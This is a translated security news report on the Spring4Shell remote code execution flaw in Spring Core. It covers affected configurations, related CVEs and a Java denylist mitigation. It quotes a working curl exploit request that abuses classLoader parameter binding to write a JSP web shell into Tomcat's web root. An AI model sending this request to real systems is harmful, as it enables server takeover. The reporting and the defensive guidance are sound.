A critical 0-day vulnerability has been discovered in the Spring Core module, part of the Spring Framework, allowing unauthenticated remote attackers to execute their code on the server. It is currently unclear how catastrophic the consequences of this vulnerability could be and whether the attacks will be as widespread as those related to the Log4j 2 vulnerability. The vulnerability has been given the code name Spring4Shell, but a CVE identifier has not yet been assigned. The issue remains unpatched in the Spring Framework, and several working prototype exploits are already available online (1, 2, 3, 4). The problem is exacerbated by the fact that many enterprise Java applications based on the Spring Framework run with root privileges, and this vulnerability allows for full system compromise.
According to estimates, the Spring Core module is used in 74% of Java applications. The risk of the vulnerability is mitigated by the fact that only applications using the '@RequestMapping' annotation for connection of request handlers and parameter binding of web forms in the 'name=value' format (POJO, Plain Old Java Object) are affected, rather than those using JSON/XML.
It is still unclear which specific Java applications and frameworks are affected by this issue. The vulnerability blocks the blacklisting of the 'class', 'module' and 'classLoader' fields or the use of an explicit whitelist of allowed fields. Exploitation of the vulnerability is only possible with Java/JDK 9 or newer. The problem arises from the ability to bypass the protections against the CVE-2010-1622 vulnerability, which was fixed in the Spring Framework back in 2010 and related to the execution of the classLoader handler when parsing request parameters.
The exploit's operation involves sending a request with parameters "class.module.classLoader.resources.context.parent.pipeline.first.*", the processing of which leads to the creation of a jsp file in the root environment of Apache Tomcat and the recording of the specified attack code in that file. The created file becomes accessible for direct requests and can be used as a web shell. To attack a vulnerable application in the Apache Tomcat environment, it is enough to send a request with specific parameters using the curl utility. curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=inserted_code_in_file &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
The issue in Spring Core should not be confused with the recently discovered vulnerabilities CVE-2022-22963 and CVE-2022-22950. The first issue affects the Spring Cloud package and has been addressed in releases 3.1.7 and 3.2.3. The second issue is present in Spring Expression and has been fixed in Spring Framework 5.3.17. These are fundamentally different vulnerabilities. The Spring Framework developers have not yet made any statements regarding the new vulnerability and have not published a fix.
As a temporary measure for protection, it is recommended to use a blacklist of invalid request parameters in the code: import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
Source: opennet.ru
